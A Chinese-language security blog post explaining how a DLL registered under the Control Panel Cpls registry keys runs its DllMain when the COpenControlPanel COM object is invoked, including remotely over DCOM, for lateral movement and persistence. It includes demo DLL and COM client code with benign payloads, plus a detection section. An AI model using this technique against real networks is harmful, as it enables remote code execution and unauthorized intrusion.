前言
上一篇文章介绍了Impacket中dcomexec.py的工作原理,以及在Windows Server 2025中如何绕过Microsoft Defender Antivirus,本文会介绍一种新的和控制面板相关的COM对象,用于内网横向命令执行
这个COM对象之前也被用于社工钓鱼和权限维持,本文会先介绍它在社工钓鱼和权限维持中的应用,然后介绍它如何应用在内网横向命令执行,最后介绍如何检测以及阻止这类攻击
本文使用的测试环境:Windows 10 22H2 19045.6466、Kali 2025.3 x64
控制面板作为攻击面
控制面板允许我们调整计算机设置,如下图,每一个控制面板项的实体后缀为cpl,本质是一个EXE或者DLL,,其中DLL会导出一个名为CPIApplet的函数,本文主要讨论实体为DLL的项

通过DIE也能看到CPL文件本质就是DLL

可在cmd下通过control.exe执行控制面板项
1
| control.exe yourfile.cpl
|
底层是通过rundll32调用shell32.dll中的函数Control_RunDLL,传入yourfile.cpl作为参数,yourfile.cpl中的CPIApplet将被执行
1
| rundll32.exe shell32.dll,Control_RunDLL yourfile.cpl
|
由于普通用户并不知道cpl也是可执行文件,所以有些APT组织在社工钓鱼中用它作为恶意附件,已被收录到ATT&CK中的:https://attack.mitre.org/techniques/T1218/002/
ATT&CK中提到了,一个dll即使没遵守cpl规范、没导出CPIApplet、后缀也不是cpl,只要在下述注册表位置注册它,也能被执行(通过dll入口函数DllMain)
1 2 3 4 5 6 7 8
| Under HKCU: HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
Under HKLM For 64-bit DLLs HKLM\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
Under HKLM for 32-bit DLLs: HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
|
想让当前用户生效,就用HKCU下的位置,想让这台机器上所有用户生效,就用HKLM下的位置
在Win10中打开上述注册表位置后,会发现HKCU下的Control Panel及子项Cpls并没有,需要你手动创建,HKLM下的Control Panel\Cpls默认就有
我们写一个简单的dll demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <Windows.h>
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, TEXT("DLL has been load by process!"), TEXT("SimpleDLL"), MB_OK | MB_ICONINFORMATION); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; }
extern "C" __declspec(dllexport) void Hello() { MessageBox(NULL, TEXT("Hello from export function!"), TEXT("SimpleDLL"), MB_OK | MB_ICONINFORMATION); }
|
将上述dll编译后重命名为cpl,注册到下图所示注册表位置,当打开控制面板,代码被执行

使用Process Explorer跟踪一下,可以看到cpl文件都将被DLL Surrogate Process(dllhost.exe)载入到内存

重点来了,熟悉COM对象的同学可能会注意到,dllhost是COM对象的托管进程,那是不是说shell32.dll中的Control_RunDLL是一个COM客户端,它调用COM服务器执行DllTest.cpl
这里简单介绍一下,COM服务器的执行有三种形式:
- 独立的EXE形式,执行时进程就是EXE的进程
- DLL形式,执行时被载入到COM客户端进程中
- DLL形式,执行时被载入到DLL代理进程(dllhost.exe)中
所以看到dllhost.exe会想到COM对象
控制面板实现横向移动
使用OleViewDotNet查看shell32.dll中和控制面板相关的COM对象时,发现一个名为COpenControlPanel的COM对象,CLSID为{06622D85-6856-4460-8DE1-A81921B41C4B},这个对象暴露了多个接口,其中一个是IID为{D11AD862-66DE-4DF4-BF6C-1F5621996AF1}的IOpenControlPanel,如下图

然后想看它实现的方法,发现这些接口并没有绑定TypeLib

好在从MSDN文档中发现了定义:https://learn.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iopencontrolpanel
需要注意,在Windows Server 2025和Windows 11中,移除了这个COM对象的名字,也就是说无法通过OleViewDotNet查看名为COpenControlPanel的COM对象,在显示名字的地方变成了CLSID
文档中提到,这个COM对象提供了3个方法,其中的第三个方法Open用来打开一个控制面板项,那是不是说,不需要手动打开控制面板,只要调用这个函数就能触发上面的demo dll被执行
函数Open定义如下
1 2 3 4 5
| HRESULT Open( [in] LPCWSTR pszName, [in] LPCWSTR pszPage, [in] IUnknown *punkSite );
|
我们来实现一个COM客户端,尝试调用COpenControlPanel中的Open函数打开控制面板,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| #include <windows.h> #include <shobjidl.h> #include <iostream>
int main() { HRESULT hr;
// 初始化COM运行环境 hr = CoInitialize(NULL); if (FAILED(hr)) { std::cerr << "[-] COM初始化失败!HRESULT: 0x" << std::hex << hr << std::endl; return 1; } std::cout << "[+] COM初始化成功" << std::endl;
// 创建COM对象COpenControlPanel IOpenControlPanel* pOCP = NULL; hr = CoCreateInstance( CLSID_OpenControlPanel, NULL, CLSCTX_INPROC_SERVER, IID_IOpenControlPanel, (void**)&pOCP ); if (FAILED(hr)) { std::cerr << "[-] COM对象COpenControlPanel创建失败!HRESULT: 0x" << std::hex << hr << std::endl; CoUninitialize(); return 1; } std::cout << "[+] COM对象COpenControlPanel创建成功" << std::endl;
// 调用方法Open // https://learn.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iopencontrolpanel LPCWSTR panelName = L""; hr = pOCP->Open( panelName, NULL, NULL ); if (SUCCEEDED(hr)) { std::cout << "[+] 成功打开控制面板首页" << std::endl; } else { std::cerr << "[-] 打开控制面板失败!HRESULT: 0x" << std::hex << hr << std::endl; }
// 释放COM对象并销毁COM运行环境 pOCP->Release(); std::cout << "[+] COM对象已释放" << std::endl; CoUninitialize(); std::cout << "[+] COM运行环境已销毁" << std::endl;
return 0; }
|
可以看到,在尝试打开控制面板时,触发了之前注册的dll被执行,显示打开控制面板失败是因为我们对panelName传入了空字符串,但不影响注册的dll被执行

目前为止,我们捋一捋,cpl文件不需要有导出函数CPIApplet,只要在注册表中注册,COM客户端调用COM服务端COpenControlPanel中的Open时,就能触发DllMain中的代码被执行,那我们能不能远程调用这个COpenControlPanel中的Open?再配合将dll上传到远程主机、以及远程注册表操作,不就实现了一种新型DCOM
现在万事俱备,只欠这个COM对象能否被远程调用,我们查看下它的AppID和相应的权限,可以看到,它有AppID,激活权限和访问权限均为空也就是使用默认值,换句话说,默认情况下管理员组中的成员都可以激活和访问这个COM对象

远程调用COM对象时,位于Session 0会话下,弹窗就不会显示了,甚至可能会造成死锁,所以要改下代码,将弹窗改为写文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <Windows.h>
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // MessageBox(NULL, TEXT("DLL has been load by process!"), TEXT("SimpleDLL"), MB_OK | MB_ICONINFORMATION); { LPCWSTR filePath = L"C:\\Users\\Public\\ybdt.txt"; const char* data = "Hello, Ybdt!"; DWORD bytesWritten = 0; HANDLE hFile = CreateFileW( filePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile != INVALID_HANDLE_VALUE) { WriteFile(hFile, data, strlen(data), &bytesWritten, NULL); CloseHandle(hFile); } } break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; }
extern "C" __declspec(dllexport) void Hello() { MessageBox(NULL, TEXT("Hello from export function!"), TEXT("SimpleDLL"), MB_OK | MB_ICONINFORMATION); }
|
最后就是实现一个DCOM客户端,看看能够远程触发,代码位于:https://github.com/ybdt/post-hub/tree/main/07-横向攻击/新型DCOM内网横向之控制面板
在Kali中执行如下命令

尽管返回了错误消息,但是文件已经成功创建

检测
首先,查看下列注册表位置是否有系统之外的控制面板项
1 2 3
| HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls HKLM\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Control Panel\Cpls
|
其次,监控是否有不常见dllhost进程产生,例如调用COM对象COpenControlPanel的dllhost
最后,监控远程注册表的使用,它经常被滥用在各种攻击中
尾语
DCOM是一个大的攻击面,对于很多没有Type Library的COM对象,通过逆向工程可以发现很多宝藏
参考链接
https://sud0ru.ghost.io/yet-another-dcom-object-for-command-execution-part-2/